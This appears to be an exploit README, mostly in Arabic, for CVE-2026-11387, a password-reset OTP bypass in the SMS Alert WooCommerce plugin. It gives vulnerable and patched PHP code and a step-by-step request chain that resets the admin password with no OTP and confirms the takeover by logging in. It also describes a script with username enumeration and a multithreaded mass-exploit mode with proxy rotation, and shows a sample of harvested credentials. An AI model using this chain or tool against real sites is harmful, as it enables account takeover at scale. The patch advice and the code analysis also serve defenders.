
يستغل تصعيد امتيازات غير مصادق عليه في إضافة SMS Alert WooCommerce (CVE-2026-11387) عبر تجاوز OTP وإعادة تعيين كلمة مرور عشوائية، مع تعداد أسماء المستخدمين وفحص متعدد الخيوط.
☆ تصعيد غير مصرح به للامتيازات عبر إعادة تعيين كلمة مرور عشوائية ☆
=== Beelze ===
| الحقل | التفاصيل |
|---|---|
| CVE ID | CVE-2026-11387 |
| درجة CVSS | 9.8 حرجة |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| النوع | نقص المصادقة / تجاوز OTP |
| الإضافة | SMS Alert – OTP Verification for WooCommerce (sms-alert) |
| المتأثر | ≤ 3.9.5 |
| المُصحَّح | 3.9.6 |
| تاريخ النشر | 2026 |
| الإثبات | Beelze |
إضافة SMS Alert – OTP Verification for WooCommerce الإصدار 3.9.5 أو أقل معرضة لـ تصعيد امتيازات غير مصرح به عبر إعادة تعيين كلمة مرور عشوائي. يقوم معالج إعادة تعيين كلمة المرور في الإضافة بالتحقق من إجراء إعادة التعيين حصريًا عن طريق فحص $_REQUEST['option'] للتأكد من احتوائه على السلسلة smsalert-change-password-form، دون التحقق من اكتمال تحدي OTP.
توجد حالة سباق حرجة في آلية بذر الجلسة تسمح للمهاجم باختطاف أي حساب عبر طلبين HTTP:
user_login المستهدف — يؤدي ذلك إلى تشغيل smsalert_site_challenge_otp() الذي يقوم ببذر $_SESSION['user_login'] دون التحقق من أي OTP.option=smsalert-change-password-form وكلمة مرور جديدة — يقرأ routeData() قيمة $_SESSION['user_login'] التي تم بذرها مسبقًا ويستدعي reset_password() دون قيد أو شرط.التأثير: سيطرة كاملة غير مصرح بها على أي مستخدم مسجل رقم هاتف فواتيره. يحصل المهاجم على وصول دائم مع دور الضحية وصلاحياتها.
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp', [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
$user_login = sanitize_text_field( $_REQUEST['user_login'] );
$user = get_user_by( 'login', $user_login )
?: get_user_by( 'email', $user_login );
if ( $user ) {
// ❌ يتم تعيين $_SESSION['user_login'] هنا — قبل التحقق من OTP
$_SESSION['user_login'] = $user->user_login;
$_SESSION['smsalert_otp'] = $this->generate_otp();
$_SESSION[self::SESSION_VAR] = 'otp_sent'; // NOT 'validated'
$this->send_otp( $user );
}
}
// handler/forms/class-wpresetpassword.php
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ❌ مفقود: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
$this->reset_password();
}
}
// handler/forms/class-wpresetpassword.php
private function reset_password() {
$user_login = $_SESSION['user_login'] ?? ''; // مسمومة من smsalert_site_challenge_otp()
$new_pass = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
$confirm = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );
if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }
$user = get_user_by( 'login', $user_login );
if ( $user ) {
wp_set_password( $new_pass, $user->ID ); // ✅ تم تغيير كلمة المرور — بدون حاجة OTP
wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
exit;
}
}
// handler/forms/class-wpresetpassword.php (مُصحَّح)
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ✅ تم الإصلاح: يجب التحقق من OTP قبل السماح بإعادة التعيين
if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
wp_die( 'مطلوب التحقق من OTP.' );
}
$this->reset_password();
}
}
Attacker (no auth)
│
│ POST /my-account/lost-password/
│ body: user_login=admin
▼
┌─────────────────────────────────────────┐
│ smsalert_site_challenge_otp() │
│ → $_SESSION['user_login'] = 'admin' │ ← session poisoned 💀
│ → $_SESSION[SESSION_VAR] = 'otp_sent' │
│ → OTP sent to victim's phone │
│ (attacker never sees the OTP) │
└─────────────────────────────────────────┘
│
│ POST /my-account/lost-password/
│ body: option=smsalert-change-password-form
│ smsalert_user_newpwd=Pwned123!
│ smsalert_user_cnfpwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ routeData() │
│ → checks $_REQUEST['option'] only │
│ → SESSION_VAR check: SKIPPED ❌ │
│ → reset_password() called │
│ → wp_set_password('admin', newpwd) │ ← password changed 😈
└─────────────────────────────────────────┘
│
│ POST /wp-login.php
│ log=admin pwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ Login SUCCESS │
│ wordpress_logged_in_* cookie set │ ← TAKEOVER CONFIRMED 💀
└─────────────────────────────────────────┘
# Single target exploit
python CVE-2026-11387.py
# → Mode 1, enter target URL + username
# Username enumeration only
python CVE-2026-11387.py
# → Mode 2
# Mass exploit (multi-threaded + proxy rotation)
python CVE-2026-11387.py
# → Mode 3, targets.txt, threads, proxy file
# Fingerprint only (no exploit)
python CVE-2026-11387.py
# → Mode 4, outputs CSV
Exploit Phases:
Phase 1 — Reachability check + HTTP fallback
Phase 2 — Version fingerprint via readme.txt
Phase 3 — Username enumeration (REST API / sitemap / author archive)
Phase 4 — OTP challenge trigger (session poisoning)
Phase 5 — Password reset via routeData() bypass
Phase 6 — Login verification (wordpress_logged_in_* cookie)
Sample output (scan_results/CVE-2026-11387_success.txt):
[2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa
قم بتحديث إضافة SMS Alert إلى الإصدار 3.9.6 أو أحدث.
[Beelze] — لأغراض تعليمية وبحث أمني مصرح به فقط